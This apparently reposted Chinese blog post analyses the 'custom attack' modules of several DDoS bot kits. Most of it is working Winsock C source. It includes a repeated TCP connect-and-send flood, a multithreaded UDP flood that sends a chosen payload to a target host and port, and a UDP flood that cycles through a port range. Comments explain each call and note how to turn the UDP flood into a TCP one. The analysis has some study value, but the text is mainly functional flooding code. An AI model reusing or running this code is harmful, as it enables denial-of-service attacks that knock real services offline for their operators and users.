您的位置:首页 > 编程语言

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇

2015-09-27 16:59 351 查看
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇

//===================================================

分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn

分析的不好请各位高手见谅花了几个小时分析的呵呵

自定义攻击

之前有看过TCP 和 UDP 攻击的在看这个自定义攻击就很好理解并不难

就是发送数据换成自己的填写的数据

Maxer TCP UDP 自定义攻击服务端没有写代码

暴风DDOS TCP UDP 也就只有界面没写代码

冷风的.h

/************************Define Pack Attack***********************************/

//自定义攻击 确定包攻击

unsigned long CALLBACK pack_flood(LPVOID dParam) //DEFPACK攻击

{

SOCKADDR_IN sockAddr; //IP信息结构

SOCKET m_hSocket; //套接字

// int nSent;

int nSize = strlen(PackBuffer); //计算数据长度

m_hSocket = socket(PF_INET,SOCK_STREAM,0); //设置IPV几,TCP或UDP连接,TCP或UDP协议 socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化

sockAddr.sin_family = AF_INET; //指代协议族,在socket编程中只能是AF_INET

sockAddr.sin_port=htons(DdosPort); //端口

sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl); //IP地址

while(1)

{

if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接

{ //不能连接

closesocket(m_hSocket); //关闭SOCKET

Sleep(100); //延时

continue; //跳出本次循环

}

send(m_hSocket,PackBuffer,nSize,0);

//发送 IP 数据缓冲区 数据长度 执行方式

closesocket(m_hSocket); //关闭SOCKET

printf("."); //DOS提示

Sleep(100); //延时

}

return 1;

}

//======================================================================

暴风DDOSVIP2010-225.h

/*----------------------------------------------------------------------------------------*/

void StartUDP(char ip[30],int port,int mytime,int xc) //UDP(流量) ANSI字符串 zhwt=1; 说是自定义攻击 攻击个毛啊 都没自定义数据操作

/*----------------------------------------------------------------------------------------*/

void StartSYN(char ip[30],int port,int time,int xc) //SYN(流量) 这个也是这样 16进制字符串 zhwt=2; 根本没自定义攻击 都没自定义数据操作

/*----------------------------------------------------------------------------------------*/

void zdyudpattack() //UDP模式 cbao=15; 自定义攻击

{

int zdysize=strlen(zdyBuffer); //计算攻击字符长度

SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)

udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址

udpaddr.sin_port=htons(tgtPort); //攻击端口

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

int nZero = 0;

setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项

for (;;)

{

if(StopFlag == 1) //是否在攻击状态

{

ExitThread(0);

return;

}

for(int a=0;a<12;a++)

sendto(s,zdyBuffer,zdysize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据

Sleep(SleepTime);//暂停(毫秒)

}

closesocket(s); //关闭socket

WSACleanup();

}

void StartZDYUDP(char ip[30],char wr[256],int port,int mytime,int xc) //UDP模式 cbao=15; 自定义攻击

{ //wr是攻击数据

if (inet_addr(ip)== INADDR_NONE)

{

struct hostent *hp = NULL;

if ((hp = gethostbyname(ip)) != NULL)

{

in_addr in;

memcpy(&in, hp->h_addr, hp->h_length);

strcpy(tgtIP,inet_ntoa(in));

}

}

else

strcpy(tgtIP,ip);

tgtPort=port;

timeout=mytime;

memset(zdyBuffer,0,sizeof(zdyBuffer));

strcpy(zdyBuffer,wr); //wr是攻击数据

StopFlag = -1;

for(z=0;z<xc;z++)

{

h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)zdyudpattack, NULL, 0, NULL);

}

if(timeout!=0)

{

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);

}

}

/*----------------------------------------------------------------------------------------*/

StartZDYTCP(msg.addr,msg.zdy,msg.port,msg.time,msg.thread); //TCP模式 cbao=16; 自定义攻击代码没有 其实很简单

//SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

//只要改下这个参数就变了

/*----------------------------------------------------------------------------------------*/

StartSJLW(msg.addr,msg.port,msg.time,msg.thread,msg.s,msg.s2); //乱舞循环 zbao=24; 没提供代码

/*----------------------------------------------------------------------------------------*/

//s1是随机数 s2应该是结尾

void PortLHUDP() //端口轮回 zbao=23;

{

char senddata[1024];

memset(senddata,'A',1024);

int sendsize=strlen(senddata);

SOCKADDR_IN udpaddr;

for (int i=S1;i<=S2;++i)

{

udpaddr.sin_family=AF_INET;

udpaddr.sin_addr.s_addr=inet_addr(tgtIP);

udpaddr.sin_port=htons(i); //i是循环得到的一个动态端口号

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

if(StopFlag==1)

{

ExitThread(0);

return;

}

for(int a=0;a<10;a++)

sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));

Sleep(SleepTime);

if(i==S2)

i=S1;

}

WSACleanup();

}

void StartPortLH(char ip[30],int time,int xc,int s,int s2) //端口轮回 zbao=23;

{

if (inet_addr(ip)== INADDR_NONE)

{

struct hostent *hp = NULL;

if ((hp = gethostbyname(ip)) != NULL)

{

in_addr in;

memcpy(&in, hp->h_addr, hp->h_length);

strcpy(tgtIP,inet_ntoa(in));

}

}

else

strcpy(tgtIP,ip);

S1=s;

S2=s2;

timeout=time;

StopFlag = -1;

for(z=0;z<xc;z++)

{

h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PortLHUDP, NULL, 0, NULL);

}

if(timeout!=0)

{

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);

}

}

/*----------------------------------------------------------------------------------------*/

//
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: